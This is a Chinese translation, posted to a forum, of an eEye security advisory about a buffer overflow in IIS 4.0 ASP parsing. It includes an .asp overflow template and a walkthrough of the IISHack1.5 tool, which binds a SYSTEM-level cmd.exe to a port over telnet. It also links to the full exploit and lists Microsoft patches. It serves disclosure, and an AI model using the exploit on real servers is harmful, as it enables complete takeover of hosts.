iis漏洞检查
--------------------------------------------------------------------------------
【眉笔】 于 2001-1-14 12:27:53 加贴在 NT世界 ↑
翻译:coolfrog <coolfrog@elong.com>
不当之处请大家指正、修改、完善。
发布日期:2000/11/3
受影响的系统:
Windows NT 4.0 IIS 4.0 sp6 (易受攻击)
Windows NT 5.0 IIS 5.0 (不易受攻击)
描述:
在IIS (Internet Information Server) ASP ISAPI文件解析机制中存在缓冲区溢出,可以被用来获得SYSTEM级的访问。
这并非远程而是本地漏洞(然而,我们稍候将解释:你如何远程实现它)。你需要创建一个.asp文件作为牺牲品,当IIS解析它的时候导致inetinfo.exe缓冲区溢出,从而允许你以SYSTEM权限控制本地服务器。
那么,谁将受此影响呢?任何运行多个客户NT4 IIS4 web服务器的网络公司或internet服务供应商。主要说来,任何可以更新网站的客户(或攻击者)上传一个新的default.asp或anything.asp,可以接着以SYSTEM执行代码进而完全控制你的服务器。他们可以对那台服务器的其他任何客户站点做任何事情,同时,他们可以安装sniffer或破解口令以扩大他们在你的网络中的战果。
因此出现了题为$19.95的攻击…任何拥有$20的人可以入侵一个运行NT4+IIS4的网络主机公司或internet服务供应商。只要在网络主机公司购买一个账号,上传你的evil.asp并用IE从你的网站请求这个evil.asp,http://www.badguy.com/evil.asp,并且杂那台服务器上以SYSTEM执行你的代码。
这里是一个.asp文件导致NT4+IIS4的inetinfo.exe溢出的例子
----start-cut-of-example.asp----
<SCRIPT LANGUAGE="[buffer]" RUNAT="Server">
</SCRIPT>
----start-cut-of-example.asp----
注意 [buffer] 是2220 字母或更多。对,这个溢出可以利用,看下面的部分。
然而你没有$20支付,或者服务器不提供站点空间,那怎么办?那么好吧,如果可以远程攻击的话就好了嘛。
例如:服务器有个写入时不过滤SCRIPT命令的.asp来客登记/留言板系统系统。因此入侵者可以进入拥有“在此输入你的信息:”框的页面(或者更多),他们只需要粘贴这些溢出代码并提交信息(内含溢出信息),这将致使IIS解析这个.asp文件,溢出,并执行他们的代码。
另外,你可以将这个攻击技术与最近的IIS解码漏洞结合起来,使用cmd.exe echo你的evil.asp内容到远程系统,然后当你请求evil.asp时,你的代码将被以SYSTEM权限执行。事实上,我们已经构造了一个漏洞实例来表明这个.asp语言溢出,并且IIS解码漏洞可以一起使用,危及任何没有及时安装补丁的NT4+IIS4+SP6(或更低版本)系统。
由于这个攻击悄无声息,很自然,所以很有可能防火墙不能抵御类似的攻击。
漏洞:
如何远程攻击系统呢?使用IIS解码漏洞+.asp语言溢出漏洞
如果你不熟悉IIS解码漏洞,最起码它允许你透过IIS以IUSR_MACHINE的权限远程执行命令。OK,因为我们可以通过cmd.exe执行命令,我们可以试着让远程主机连接到外部的FTP服务器获取文件(似乎优先考虑IISHack),但你将只能以IUSR_MACHINE的权限执行命令。我们的这个漏洞通过使用IIS解码漏洞工作,echo我们的.asp文件(以shell代码结束,绑定cmd.exe到一个端口;-))到一个远程服务器,并请求访问这个文件,然后导致inetinfo.exe溢出,将一个SYSTEM特权cmd.exe绑定到一个特殊端口。好了,在很多情况下你应该拥有恰当的cmd.exe的访问控制(这将不允许IUSR_MACHINE访问)就像其他的安全措施一样,因此我们应该知道这个漏洞在一个安全的系统里不会工作的。然而,这仅仅是从概念上讲的,并且正如我们大多数人了解的那样,大多数IIS服务器并没有恰当的本地安全措施。这个漏洞工作起来基本上是下面这个样子的:
C:\we are still hiring good programmers> iishack1.5.exe
IISHack Version 1.5
eEye Digital Security
http://www.eEye.com
Code By: Ryan Permeh & Marc Maiffret
eEye Digital Security takes no responsibility for use of this code.
It is for educational purposes only.
Usage: IISHack1.5 [server] [server-port] [trojan-port]
C:\send resume to hire@eeye.com> iishack1.5.exe www.[yourowncompany].com 80
6969
IISHack Version 1.5
eEye Digital Security
http://www.eEye.com
Code By: Ryan Permeh & Marc Maiffret
eEye Digital Security takes no responsibility for use of this code.
It is for educational purposes only.
Attempting to find an executable directory...
Trying directory [scripts]
Executable directory found. [scripts]
Path to executable directory is [C:\Inetpub\scripts]
Moving cmd.exe from winnt\system32 to C:\Inetpub\scripts.
Successfully moved cmd.exe to C:\Inetpub\scripts\eeyehack.exe
Sending the exploit...
Exploit sent! Now telnet to www.[yourowncompany].com on port 6969 and you
should get a cmd prompt.
C:\> telnet www.[yourowncompany].com 6969
Trying www.[yourowncompany].com...
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>whoami
NT AUTHORITY\SYSTEM
在这里下载整个exploit:
http://www.eEye.com/html/advisories/IISHack1.5.zip
M$的回应:
M$已经在当前最新的补丁里补上这个.asp语言溢出漏洞,并使它在大多数最新的service pack 6里发布。这个漏洞已经被最新版本的W3SVC.DLL补上,安装所有最新的补丁吧,你就没这个问题啦。
这里有一些M$的报告和补丁的列表(针对.asp语言溢出漏洞)
MS00-080: Patch Available for "Session ID Cookie Marking" Vulnerability
MS00-060: Patch Available for "IIS Cross-Site Scripting" Vulnerabilities
MS00-057: Patch Available for "File Permission Canonicalization"
Vulnerability
MS00-030: Patch Available for "Malformed Extension Data in URL"
Vulnerability
MS00-023: Patch Available for "Myriad Escaped Characters" Vulnerability
MS00-019: Patch Available for "Virtualized UNC Share" Vulnerability
MS00-018: Patch Available for "Chunked Encoding Post" Vulnerability
W3SVC多于720地址的版本已经发行。因此,如果你已保持你的系统拥有最新的补丁,你将不会受此攻击。
Copyright (c) 1998-2000 eEye Digital Security
允许以电子信息的形式重新发布此报告。这不需要eEye的明确认可。如果你想将本文的部分或全部以非电子出版物的形式重新发布,请e-mail alert@eEye.com 得到许可。
声明:
本文涉及的信息将随时更新,不作通知。使用这些信息表明你接受本承诺。我们对这些信息不作任何担保。对于使用或散布此信息带来的任何后果,本文作者不付任何责任。任何使用者自己承担一切。
上篇文章:IE55借助OBJECT TYPE=text/html执行命令的漏洞